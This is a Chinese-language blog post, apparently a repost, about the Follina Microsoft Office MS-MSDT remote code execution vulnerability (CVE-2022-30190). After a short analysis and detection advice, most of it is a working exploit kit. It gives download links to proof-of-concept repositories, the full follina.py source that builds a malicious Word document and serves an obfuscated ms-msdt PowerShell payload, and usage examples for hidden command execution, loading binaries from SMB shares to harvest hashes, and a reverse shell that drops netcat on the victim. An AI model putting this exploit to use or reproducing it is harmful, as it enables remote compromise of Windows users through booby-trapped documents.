在这里,我们看到攻击者使用 msdt URI 通过参数设置执行轻度混淆和“恶意”PowerShell IT_BrowseForFile,正如 Benjamin Altpeter 的论文中所述。这里执行的最终payload实际上是base64编码的:bm90ZXBhZA==或者notepad(例如打开文档会导致notepad.exe启动)。

在撰写本文时,VirusTotal 上只有 4 个 AV 引擎标记了由 Hammond 的概念证明生成的概念证明恶意文件(尽管它被 Windows 实时保护检测并停止)。

正如其他研究人员所指出的,如果受害者可以被诱骗执行 PowerShellwget请求,也可以执行攻击。例如:

PS C:\Users\albinolobster> wget http://10.0.0.28:8000


StatusCode        : 200
StatusDescription : OK
Content           : <script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=?
                    IT_LaunchMethod=ContextMenu
                    IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding...
RawContent        : HTTP/1.0 200 OK
                    Content-Length: 4521
                    Content-Type: text/html
                    Date: Tue, 31 May 2022 16:43:14 GMT
                    Last-Modified: Tue, 31 May 2022 16:25:36 GMT
                    Server: SimpleHTTP/0.6 Python/3.8.10

                    <script>locat...
Forms             : {}
Headers           : {[Content-Length, 4521], [Content-Type, text/html], [Date, Tue, 31 May 2022 16:43:14 GMT],
                    [Last-Modified, Tue, 31 May 2022 16:25:36 GMT]...}
Images            : {}
InputFields       : {}
Links             : {}
ParsedHtml        : mshtml.HTMLDocumentClass
RawContentLength  : 4521

建议

此攻击的传递很可能通过电子邮件进行,并且需要受害者打开恶意文档。这几乎不是一种新行为,因此正常的电子邮件过滤以及强调仅打开来自已知来源的文件的安全程序可能会很有用。

如果恶意文档未在磁盘上被捕获,则初始进程创建可能是唯一的。值得注意的是,攻击将通过sdiagnhost.exe. 以下显示sdiagnhost.exe生成notepad.exe

CVE-2022-30190 poc MSDT RCE Follina 0day

最后,因为这种攻击特别依赖于对恶意 Web 服务器的回调,所以 IP 信誉列表对于防止由恶意文档发起的初始连接可能是有价值的。

from

CVE-2022-30190 POC (一)

poc下载地址:

①GitHub:

https://github.com/chvancooten/follina.py/archive/refs/heads/main.zip

②云中转网盘:

https://www.yunzhongzhuan.com/#sharefile=w5g6BJNn_54062
解压密码:www.ddosi.org

poc代码

‘Follina’ MS-MSDT n-day Microsoft Office RCE poc

用于本地测试目的的快速 POC 复现“Follina”Office RCE 漏洞。运行脚本将clickme.docx在您当前的工作目录中生成有效负载文件,并使用有效负载文件 ( www/exploit.html) 启动 Web 服务器。有效负载和 Web 服务器参数是可配置的(参见示例)。

follina.py代码:

#!/usr/bin/env python3
import argparse
import os
import zipfile
import http.server
import socketserver
import base64

# Helper function to zip whole dir
# https://stackoverflow.com/questions/1855095/how-to-create-a-zip-archive-of-a-directory
def zipdir(path, ziph):
    for root, dirs, files in os.walk(path):
        for file in files:
            os.utime(os.path.join(root, file), (1653895859, 1653895859))
            ziph.write(os.path.join(root, file), 
                       os.path.relpath(
                            os.path.join(root, file), 
                            path
                       ))

if __name__ == "__main__":

    # Parse arguments
    parser = argparse.ArgumentParser()
    required = parser.add_argument_group('Required Arguments')
    binary = parser.add_argument_group('Binary Execution Arguments')
    command = parser.add_argument_group('Command Execution Arguments')
    optional = parser.add_argument_group('Optional Arguments')
    required.add_argument('-m', '--mode', action='store', dest='mode', choices={"binary", "command"},
        help='Execution mode, can be "binary" to load a (remote) binary, or "command" to run an encoded PS command', required=True)
    binary.add_argument('-b', '--binary', action='store', dest='binary', 
        help='The full path of the binary to run. Can be local or remote from an SMB share')
    command.add_argument('-c', '--command', action='store', dest='command',
        help='The encoded command to execute in "command" mode')
    optional.add_argument('-u', '--url', action='store', dest='url', default='localhost',
        help='The hostname or IP address where the generated document should retrieve your payload, defaults to "localhost"')
    optional.add_argument('-H', '--host', action='store', dest='host', default="0.0.0.0",
        help='The interface for the web server to listen on, defaults to all interfaces (0.0.0.0)')
    optional.add_argument('-P', '--port', action='store', dest='port', default=80, type=int,
        help='The port to run the HTTP server on, defaults to 80')
    args = parser.parse_args()

    if args.mode == "binary" and args.binary is None:
        raise SystemExit("Binary mode requires a binary to be specified, e.g. -b '\\\\localhost\\c$\\Windows\\System32\\calc.exe'")


    if args.mode == "command" and args.command is None:
        raise SystemExit("Command mode requires a command to be specified, e.g. -c 'c:\\windows\\system32\\cmd.exe /c whoami > c:\\users\\public\\pwned.txt'")

    payload_url = f"http://{args.url}:{args.port}/exploit.html"

    if args.mode == "command":
        # Original PowerShell execution variant
        command = args.command.replace("\"", "\\\"")
        encoded_command = base64.b64encode(bytearray(command, 'utf-16-le')).decode('UTF-8') # Powershell life...
        payload = fr'''"ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'{encoded_command}'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\""'''

    if args.mode == "binary":
        # John Hammond binary variant
        binary_path = args.binary.replace('\\', '\\\\').rstrip('.exe')
        payload = fr'"ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$({binary_path})/.exe\""'

    # Prepare the doc file
    with open("src/document.xml.rels.tpl", "r") as f:
        tmp = f.read()

    payload_rels = tmp.format(payload_url = payload_url)

    if not os.path.exists("src/clickme/word/_rels"):
        os.makedirs("src/clickme/word/_rels")

    with open("src/clickme/word/_rels/document.xml.rels", "w") as f:
        f.write(payload_rels)

    with zipfile.ZipFile('clickme.docx', 'w', zipfile.ZIP_DEFLATED) as zipf:
        zipdir('src/clickme/', zipf)

    print("Generated 'clickme.docx' in current directory")


    # Prepare the HTML payload
    if not os.path.exists("www"):
        os.makedirs("www")

    with open("src/exploit.html.tpl", "r") as f:
        tmp = f.read()

    payload_html = tmp.format(payload = payload)

    with open("www/exploit.html", "w") as f:
        f.write(payload_html)

    print("Generated 'exploit.html' in 'www' directory")


    # Host the payload
    class Handler(http.server.SimpleHTTPRequestHandler):
        def __init__(self, *args, **kwargs):
            super().__init__(*args, directory="www", **kwargs)

    print(f"Serving payload on {payload_url}")
    with socketserver.TCPServer((args.host, args.port), Handler) as httpd:
        httpd.serve_forever()

CVE-2022-30190 POC用法:

python .\follina.py -h
用法: follina.py [-h] -m {command,binary} [-b BINARY] [-c COMMAND] [-u URL] [-H HOST] [-p PORT]

参数:
  -h, --help            显示此帮助信息并退出

所需的参数:
  -m {command,binary}, --mode {command,binary}
                        执行模式,可以是“二进制”加载一个(远程)二进制,或“命令”运行一个编码的PS命令

二进制执行参数:
  -b BINARY, --binary BINARY

命令执行参数:
  -c COMMAND, --command COMMAND
                        以“command”模式执行的编码命令

可选参数:
  -u URL, --url URL     生成的文档检索有效负载的主机名或IP地址,默认为“localhost”
  -H HOST, --host HOST  web服务器监听的接口,默认为所有接口(0.0.0.0)
  -p PORT, --port PORT  运行HTTP服务器的端口,默认为80

CVE-2022-30190 POC用法示例:

# 执行本地二进制文件
python .\follina.py -m binary -b \windows\system32\calc.exe

# 在linux上,您可能需要转义反斜杠
python .\follina.py -m binary -b \\windows\\system32\\calc.exe

# 从文件共享执行一个二进制文件(可用于farm hashes👀)
python .\follina.py -m binary -b \\localhost\c$\windows\system32\calc.exe

# 执行任意的powershell命令
python .\follina.py -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:\users\public\owned.txt'"

# 在默认接口(所有接口,0.0.0.0)上运行web服务器,但告诉恶意文档在http://1.2.3.4/exploit.html上检索它
python .\follina.py -m binary -b \windows\system32\calc.exe -u 1.2.3.4

# 只在本地主机上运行web服务器,端口为8080而不是80
python .\follina.py -m binary -b \windows\system32\calc.exe -H 127.0.0.1 -P 8080

CVE-2022-30190 POC (二)

msdt-follina

下载地址:

①GitHub:

https://github.com/JohnHammond/msdt-follina/archive/refs/heads/main.zip

②云中转网盘:

https://www.yunzhongzhuan.com/#sharefile=XCCT2ubG_54068
解压密码:www.ddosi.org

poc用法

使用恶意 Microsoft Word 文档创建“Follina”MS-MSDT 攻击,并使用 HTTP 服务器暂存有效负载。

CVE-2022-30190 poc MSDT RCE Follina 0day
用法: follina.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT]

options:
  -h, --help            显示帮助信息并退出
  --command COMMAND, -c COMMAND
                        在目标器上运行的命令(默认值:calc)
  --output OUTPUT, -o OUTPUT
                        输出maldoc文件(默认:./follina.doc)
  --interface INTERFACE, -i INTERFACE
                        主机HTTP服务器的网络接口或IP地址(默认:eth0)
  --port PORT, -p PORT  HTTP服务器的端口(默认:8000)

使用示例:

运行计算器calc.exe:

$ python3 follina.py   
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./follina.doc
[+] serving html payload on :8000

运行notepad.exe:

$ python3 follina.py -c "notepad"

在端口 9001 上获取反向 shell。注意,这会将 netcat 二进制文件下载到受害者上并将其放入C:\Windows\Tasks. 它不会清理二进制文件。除非禁用 AV,否则这将触发防病毒检测。

$ python3 follina.py -r 9001
CVE-2022-30190 poc MSDT RCE Follina 0day

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用*标注